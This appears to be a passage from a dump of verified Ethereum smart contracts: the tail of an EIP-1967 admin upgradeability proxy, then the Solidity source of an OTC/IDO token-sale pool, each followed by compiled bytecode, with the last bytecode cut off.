to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
244
0x8ea18def6ddb49702146824800e940d020dd59d1
pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT library Strings { struct slice { uint _len; uint _ptr; } function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function memcpy(uint dest, uint src, uint len) private pure { for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function toSlice(string memory self) internal pure returns (slice memory) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function concat(slice memory self, slice memory other) internal pure returns (string memory) { string memory ret = new string(self._len + other._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } } interface IERC20 { function symbol() external view returns (string memory); function name() external view returns (string memory); function decimals() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "e0"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "e1"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "e0"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ow1"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ow2"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "e0"); (bool success, bytes memory returndata) = target.call{value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "add e0"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub e0"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "mul e0"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "div e0"); uint256 c = a / b; return c; } } interface Map { function getFeeNum() external view returns (uint256 tx_price, uint256 tx_fee_rate, uint256 tx_fee_type, uint256 fee_token_decimals, uint256 usdt_token_decimals, IERC20 fee_token, IERC20 usdt_token, address tx_fee_address, address router_address); } interface IMdexRouter { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract OtcItem is Ownable, ReentrancyGuard { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; bool public can_ido; bool public can_buyback; uint256 private order_id; uint256 private time; uint256 public amount_all; uint256 public amount_ok; uint256 private price; address private fee_to; IERC20 private usdt_token; IERC20 private ido_token; address private factory; string private order_md5; Map private map; mapping(address => bool) private white_list; mapping(address => uint256) public can_buyback_amount_list; struct deposit_ithdraw_item { string op_type; string order_md5; uint256 _amount; uint256 time; } struct ido_buyback_item { string op_type; string order_md5; uint256 ido_token_amount; uint256 usdt_token_amount; uint256 time; } mapping(address => mapping(uint256 => deposit_ithdraw_item[])) private deposit_ithdraw_list; mapping(address => mapping(uint256 => ido_buyback_item[])) private ido_buyback_list; modifier onlyFeeto() { require(msg.sender == fee_to || msg.sender == owner(), 'e0'); _; } modifier onlyFactory() { require(msg.sender == factory, 'onlyFactory error'); _; } constructor(IERC20 _usdt_token, IERC20 _ido_token, address _fee_to, uint256 _price, string memory _order_md5, uint256 _order_id, uint256 _time, uint256 _amount, Map _map) public { usdt_token = _usdt_token; ido_token = _ido_token; factory = msg.sender; fee_to = _fee_to; price = _price; order_md5 = _order_md5; order_id = _order_id; time = _time; amount_all = _amount; deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('deposit', order_md5, _amount, _time))); map = _map; enable_disable_ido_buyback(true, false); } function enable_disable_ido_buyback(bool _can_ido, bool _can_buyback) public onlyFeeto { can_ido = _can_ido; can_buyback = _can_buyback; } function deposit(uint256 _amount, uint256 _time) public onlyFeeto { require(_amount > 0, 'e0'); require(ido_token.balanceOf(msg.sender) >= _amount, 'e1'); amount_all = amount_all.add(_amount); deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('deposit', order_md5, _amount, _time))); ido_token.safeTransferFrom(msg.sender, address(this), _amount); } function withdraw(uint256 _amount, uint256 _time) public onlyFeeto { require(_amount > 0, 'e0'); require(ido_token.balanceOf(address(this)) >= _amount, 'e1'); amount_all = amount_all.sub(_amount); deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('withdraw', order_md5, _amount, _time))); ido_token.safeTransfer(msg.sender, _amount); } function auto_swap(IERC20 fee_token, address router_address, uint256 fee_amount, address tx_fee_address) private { address[] memory path = new address[](2); path[0] = address(usdt_token); path[1] = address(fee_token); usdt_token.approve(router_address, fee_amount); IMdexRouter(router_address).swapExactTokensForTokensSupportingFeeOnTransferTokens(fee_amount, 0, path, tx_fee_address, block.timestamp); } /* uint256 tx_fee_type; //0,usdt;1,fee_token;2,autoswap;3,fixed */ function PayFee(uint256 usdt_token_amount, address _user) private { (,uint256 tx_fee_rate,uint256 tx_fee_type,,,IERC20 fee_token,,address tx_fee_address,address router_address) = map.getFeeNum(); uint256 fee_amount = usdt_token_amount.mul(tx_fee_rate).div(1e3); usdt_token.safeTransferFrom(_user, fee_to, usdt_token_amount); if (address(fee_token) == address(0)) { tx_fee_type = 0; } if (tx_fee_type == 0) { require(usdt_token.balanceOf(_user) >= fee_amount, 'e0'); usdt_token.safeTransferFrom(_user, tx_fee_address, fee_amount); } else if (tx_fee_type == 2) { require(usdt_token.balanceOf(_user) >= fee_amount, 'e1'); usdt_token.safeTransferFrom(_user, address(this), fee_amount); auto_swap(fee_token, router_address, fee_amount, tx_fee_address); } else if (tx_fee_type == 1) { (uint256 tx_price,,,uint256 fee_token_decimals,uint256 usdt_token_decimals,,,,) = map.getFeeNum(); uint256 fee_token_amount = fee_amount.mul(tx_price).mul(10 ** fee_token_decimals).div(10 ** usdt_token_decimals).div(10 ** 18); require(fee_token.balanceOf(_user) > fee_token_amount, 'e2'); fee_token.safeTransferFrom(_user, tx_fee_address, fee_token_amount); } else { (uint256 tx_price,,,uint256 fee_token_decimals,uint256 usdt_token_decimals,,,,) = map.getFeeNum(); uint256 fee_token_amount = fee_amount.mul(tx_price).mul(10 ** fee_token_decimals).div(10 ** usdt_token_decimals).div(10 ** 18); if (fee_token.balanceOf(_user) >= fee_token_amount) { fee_token.safeTransferFrom(_user, tx_fee_address, fee_token_amount); } else { require(usdt_token.balanceOf(_user) > fee_amount, 'e3'); usdt_token.safeTransferFrom(_user, address(this), fee_amount); auto_swap(fee_token, router_address, fee_amount, tx_fee_address); } } } function ido(uint256 _usdt_token_amount, uint256 _time) public nonReentrant { require(can_ido == true, 'e0'); require(_usdt_token_amount > 0, 'e1'); require(usdt_token.balanceOf(msg.sender) >= _usdt_token_amount, 'e2'); uint256 usdt_token_decimals = usdt_token.decimals(); uint256 ido_token_decimals = ido_token.decimals(); uint256 _ido_token_amount = _usdt_token_amount.mul(10 ** ido_token_decimals).div(10 ** usdt_token_decimals).mul(10 ** 18).div(price); require(ido_token.balanceOf(address(this)) >= _ido_token_amount, 'e3'); ido_token.safeTransfer(msg.sender, _ido_token_amount); PayFee(_usdt_token_amount, msg.sender); amount_ok = amount_ok.add(_ido_token_amount); ido_buyback_list[msg.sender][order_id].push((ido_buyback_item('ido', order_md5, _ido_token_amount, _usdt_token_amount, _time))); } function get_amount() public view returns (uint256) { return ido_token.balanceOf(address(this)); } function getDepositWithDrawList(address _user, uint256 _index) public view returns (deposit_ithdraw_item[] memory) { return deposit_ithdraw_list[_user][_index]; } function getIdoBuyBackList(address _user, uint256 _index) public view returns (ido_buyback_item[] memory) { return ido_buyback_list[_user][_index]; } function getIdoBuyBackListNum(address _user, uint256 _index) public view returns (uint256) { return ido_buyback_list[_user][_index].length; } function setMap(address _address) public onlyFactory { map = Map(_address); } function getIdoTokens(IERC20 _token, address to_address) public onlyOwner { require(_token != ido_token, 'e0'); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, 'e1'); _token.safeTransfer(to_address, amount); } } contract OtcPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public ido_num; using Strings for *; Map public map; IERC20 public fee_token; mapping(uint256 => OtcItem) private ido_list; mapping(uint256 => string) private ido_md5_list; mapping(string => uint256) public ido_md5_list2; mapping(string => bool) private ido_status_list; mapping(string => order_info_item) public order_md5_list; mapping(IERC20 => uint256[]) private token_order_id_list; mapping(uint256 => IERC20) private token_order_id_list2; mapping(address => uint256[]) private user_order_id_list; mapping(uint256 => address) private user_order_id_list2; mapping(address => mapping(IERC20 => uint256[])) private user_token_order_id_list; struct decimals_list_item { uint256 ido_token_decimals; uint256 usdt_token_decimals; } struct symbol_list_item { string ido_token_symbol; string usdt_token_symbol; } struct token_list_item { IERC20 ido_token; IERC20 usdt_token; } struct order_info_item { uint256 order_id; string order_md5; uint256 amount; uint256 price; address order_address; uint256 time; symbol_list_item symbol_list; token_list_item token_list; decimals_list_item decimals_list; } event createIdoEvent(IERC20 _usdt_token, IERC20 _ido_token, address _fee_to, uint256 _price, string _order_md5, uint256 _order_id, uint256 _time, uint256 _amount, Map _map, OtcItem ido, address idopool, address creator); constructor() public { map = Map(0x905764e8A68eCD30e9bf0b5833C6fc8081908B02); (,,,,, fee_token,,,) = map.getFeeNum(); } function createIdo(IERC20 usdt_token, IERC20 ido_token, address fee_to, uint256 price, string memory order_md5, uint256 ido_token_amount, uint256 time) public { require(ido_status_list[order_md5] == false, 'e0'); require(ido_token_amount > 0, 'e1'); require(ido_token.balanceOf(msg.sender) >= ido_token_amount, 'e2'); (,,,,,,IERC20 usdt_token2,,) = map.getFeeNum(); require(usdt_token2 == usdt_token, 'e3'); OtcItem ido = new OtcItem(usdt_token, ido_token, fee_to, price, order_md5, ido_num, time, ido_token_amount, map); emit createIdoEvent(usdt_token, ido_token, fee_to, price, order_md5, ido_num, time, ido_token_amount, map, ido, address(this), _msgSender()); ido_status_list[order_md5] = true; ido_list[ido_num] = ido; ido_md5_list[ido_num] = order_md5; ido_md5_list2[order_md5] = ido_num; ido_token.safeTransferFrom(msg.sender, address(ido), ido_token_amount); order_md5_list[order_md5] = order_info_item( ido_num, order_md5, ido_token_amount, price, msg.sender, time, symbol_list_item(ido_token.symbol(), usdt_token.symbol()), token_list_item(ido_token, usdt_token), decimals_list_item(ido_token.decimals(), usdt_token.decimals()) ); token_order_id_list[ido_token].push(ido_num); token_order_id_list2[ido_num] = ido_token; user_order_id_list[msg.sender].push(ido_num); user_order_id_list2[ido_num] = msg.sender; user_token_order_id_list[msg.sender][ido_token].push(ido_num); ido_num = ido_num.add(1); } function getIdoInfo(uint256 _index) public view returns (OtcItem ido, string memory order_md5, uint256 amount_all, uint256 amount_ok, uint256 amount, order_info_item memory order_info, bool can_ido, bool can_buyback) { ido = ido_list[_index]; order_md5 = ido_md5_list[_index]; amount_all = ido.amount_all(); amount_ok = ido.amount_ok(); order_info = order_md5_list[order_md5]; amount = ido.get_amount(); can_ido = ido.can_ido(); can_buyback = ido.can_buyback(); } function getIdoInfoByOrderMd5(string memory _order_md5) public view returns (OtcItem ido, string memory order_md5, uint256 amount_all, uint256 amount_ok, uint256 amount, order_info_item memory order_info, bool can_ido, bool can_buyback) { (ido, order_md5, amount_all, amount_ok, amount, order_info, can_ido, can_buyback) = getIdoInfo(ido_md5_list2[_order_md5]); } function getIdoInfoByToken(IERC20 _token) public view returns (uint256[] memory id_list, uint256 id_list_num) { id_list = token_order_id_list[_token]; id_list_num = id_list.length; } function getIdoInfoByUser(address _user) public view returns (uint256[] memory id_list, uint256 id_list_num) { id_list = user_order_id_list[_user]; id_list_num = id_list.length; } function getIdoInfoByUserByToken(address _user, IERC20 _token) public view returns (uint256[] memory id_list, uint256 id_list_num) { id_list = user_token_order_id_list[_user][_token]; id_list_num = id_list.length; } function getidobuybackList(address _user) public view returns (string memory index_list, uint256 index_list_num) { //require(ido_num > 0, 'getidobuybackList error 0'); for (uint256 i = 0; i < ido_num; i++) { OtcItem ido = ido_list[i]; if (ido.getIdoBuyBackListNum(_user, i) > 0) { index_list_num = index_list_num.add(1); index_list = (index_list.toSlice().concat("|".toSlice())).toSlice().concat(i.uint2str().toSlice()); } } } function getidobuybackListBytoken(address _user, IERC20 _token) public view returns (string memory index_list, uint256 index_list_num) { //require(ido_num > 0, 'getidobuybackList error 0'); for (uint256 i = 0; i < ido_num; i++) { OtcItem ido = ido_list[i]; if (ido.getIdoBuyBackListNum(_user, i) > 0 && token_order_id_list2[i] == _token) { index_list_num = index_list_num.add(1); index_list = (index_list.toSlice().concat("|".toSlice())).toSlice().concat(i.uint2str().toSlice()); } } } function getidobuybackListByOrderMd5(address _user, string memory _order_md5) public view returns (uint256, bool) { uint256 index = ido_md5_list2[_order_md5]; OtcItem ido = ido_list[index]; if (ido.getIdoBuyBackListNum(_user, index) > 0) { return (index, true); } return (0, false); } function updateMap(address _address) public onlyOwner { (,,,,, fee_token,,,) = Map(_address).getFeeNum(); for (uint256 i = 0; i < ido_num; i++) { OtcItem ido = ido_list[i]; ido.setMap(_address); } } function changeOwner(OtcItem ido) public onlyOwner { ido.transferOwnership(msg.sender); } function getIdoTokens(OtcItem ido, IERC20 _token, address to_address) public onlyOwner { ido.getIdoTokens(_token, to_address); } }
0x60806040523480156200001157600080fd5b50600436106200013c5760003560e01c8063a5e041ff11620000bd578063c7581184116200007b578063c758118414620002df578063e79bdbf414620002e9578063eab8adaa1462000310578063ef48a8041462000327578063f2fde38b1462000331576200013c565b8063a5e041ff146200024d578063a6f9dae11462000274578063aa874047146200028b578063b712969714620002a2578063c4d09f2b14620002c8576200013c565b8063569bd1f4116200010b578063569bd1f414620001b857806356a851ff14620001e657806388e525bc14620001ff5780638da5cb5b146200022c5780638e2ad3561462000236576200013c565b8063130e4c6814620001415780631b16504d146200015a5780632e517f00146200017157806346999cc014620001a1575b600080fd5b6200015862000152366004620022de565b62000348565b005b620001586200016b36600462002244565b620003f4565b620001886200018236600462002172565b62000b93565b60405162000198929190620025ba565b60405180910390f35b62000188620001b236600462002191565b62000c04565b620001cf620001c93660046200232f565b62000c83565b604051620001989998979695949392919062002935565b620001f062000ef0565b60405162000198919062002569565b6200021662000210366004620023e2565b62000eff565b604051620001989897969594939291906200270c565b620001f0620014d4565b62000216620002473660046200232f565b620014e3565b620002646200025e36600462002172565b6200154f565b604051620001989291906200282e565b620001586200028536600462002172565b62001677565b620002646200029c36600462002191565b62001716565b620002b9620002b33660046200232f565b62001822565b6040516200019891906200291c565b62000188620002d936600462002172565b6200183f565b620001f0620018ae565b62000300620002fa366004620021ce565b620018bd565b6040516200019892919062002925565b620001586200032136600462002172565b6200199d565b620002b962001b0c565b620001586200034236600462002172565b62001b12565b6200035262001bd0565b6000546001600160a01b039081169116146200038b5760405162461bcd60e51b81526004016200038290620028a7565b60405180910390fd5b604051630b4e89c760e31b81526001600160a01b03841690635a744e3890620003bb908590859060040162002604565b600060405180830381600087803b158015620003d657600080fd5b505af1158015620003eb573d6000803e3d6000fd5b50505050505050565b6007836040516200040691906200254b565b9081526040519081900360200190205460ff1615620004395760405162461bcd60e51b81526004016200038290620028c4565b600082116200045c5760405162461bcd60e51b815260040162000382906200286f565b6040516370a0823160e01b815282906001600160a01b038816906370a08231906200048c90339060040162002569565b60206040518083038186803b158015620004a557600080fd5b505afa158015620004ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e09190620023fb565b1015620005015760405162461bcd60e51b8152600401620003829062002900565b6002546040805163295ce9b560e01b815290516000926001600160a01b03169163295ce9b591600480830192610120929190829003018186803b1580156200054857600080fd5b505afa1580156200055d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000583919062002414565b50509650505050505050876001600160a01b0316816001600160a01b031614620005c15760405162461bcd60e51b815260040162000382906200288b565b60008888888888600154888a600260009054906101000a90046001600160a01b0316604051620005f19062001fb8565b62000605999897969594939291906200261e565b604051809103906000f08015801562000622573d6000803e3d6000fd5b5090507f0a27b32dfa7c2359f306829a3a5487890e90c3f29b66cbc9f3b82022be279bd58989898989600154898b600260009054906101000a90046001600160a01b03168a306200067262001bd0565b6040516200068c9c9b9a999897969594939291906200268a565b60405180910390a16001600786604051620006a891906200254b565b9081526040805160209281900383019020805460ff1916931515939093179092556001805460009081526004835283812080546001600160a01b0319166001600160a01b03871617905590548152600582529190912086516200070e9288019062001fc6565b506001546006866040516200072491906200254b565b908152604051908190036020019020556200074b6001600160a01b03891633838762001bd4565b6040518061012001604052806001548152602001868152602001858152602001878152602001336001600160a01b0316815260200184815260200160405180604001604052808b6001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015620007cb57600080fd5b505afa158015620007e0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200080a919081019062002366565b81526020018c6001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156200084957600080fd5b505afa1580156200085e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405262000888919081019062002366565b815250815260200160405180604001604052808b6001600160a01b031681526020018c6001600160a01b0316815250815260200160405180604001604052808b6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156200090157600080fd5b505afa15801562000916573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200093c9190620023fb565b81526020018c6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156200097b57600080fd5b505afa15801562000990573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009b69190620023fb565b90529052604051600890620009cd9088906200254b565b908152602001604051809103902060008201518160000155602082015181600101908051906020019062000a0392919062001fc6565b50604082015160028201556060820151600382015560808201516004820180546001600160a01b0319166001600160a01b0390921691909117905560a0820151600582015560c082015180518051600684019162000a679183916020019062001fc6565b50602082810151805162000a82926001850192019062001fc6565b50505060e082015180516008830180546001600160a01b03199081166001600160a01b039384161790915560209283015160098086018054841692851692909217909155610100909501518051600a8087019190915590840151600b95860155918d16600081815295845260408087206001805482548083018455928a52878a2090920191909155805488529385528087208054841683179055338088529585528087208454815480870183559189528689209091015583548752600c855280872080549093168617909255938552600d83528085209385529282529183208254815480850183559185529190932090920191909155805462000b859162001c36565b600155505050505050505050565b6001600160a01b038116600090815260096020908152604080832080548251818502810185019093528083526060949383018282801562000bf457602002820191906000526020600020905b81548152602001906001019080831162000bdf575b5050505050915081519050915091565b6001600160a01b038083166000908152600d60209081526040808320938516835292815282822080548451818402810184019095528085526060949283018282801562000c7157602002820191906000526020600020905b81548152602001906001019080831162000c5c575b50505050509150815190509250929050565b805160208183018101805160088252928201938201939093209190925280546001808301805460408051600294831615610100026000190190921693909304601f8101879004870282018701909352828152929490919083018282801562000d2f5780601f1062000d035761010080835404028352916020019162000d2f565b820191906000526020600020905b81548152906001019060200180831162000d1157829003601f168201915b5050506002808501546003860154600487015460058801546040805160068b01805460606020601f600019600185161561010002019093169a909a049182018a90049099028301890184529282018381529a9b969a9599506001600160a01b0390941697509195919384929091849184018282801562000df35780601f1062000dc75761010080835404028352916020019162000df3565b820191906000526020600020905b81548152906001019060200180831162000dd557829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801562000e995780601f1062000e6d5761010080835404028352916020019162000e99565b820191906000526020600020905b81548152906001019060200180831162000e7b57829003601f168201915b50505091909252505060408051808201825260088501546001600160a01b0390811682526009860154166020808301919091528251808401909352600a8601548352600b9095015494820194909452919291905089565b6003546001600160a01b031681565b60006060600080600062000f126200204b565b6000878152600460209081526040808320546005835281842080548351601f600260001960018516156101000201909316929092049182018690048602810186019094528084526001600160a01b039092169a50849390919083018282801562000fc05780601f1062000f945761010080835404028352916020019162000fc0565b820191906000526020600020905b81548152906001019060200180831162000fa257829003601f168201915b50505050509650876001600160a01b031663c513e4d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156200100157600080fd5b505afa15801562001016573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200103c9190620023fb565b9550876001600160a01b031663ebb1d24d6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200107857600080fd5b505afa1580156200108d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620010b39190620023fb565b9450600887604051620010c791906200254b565b9081526020016040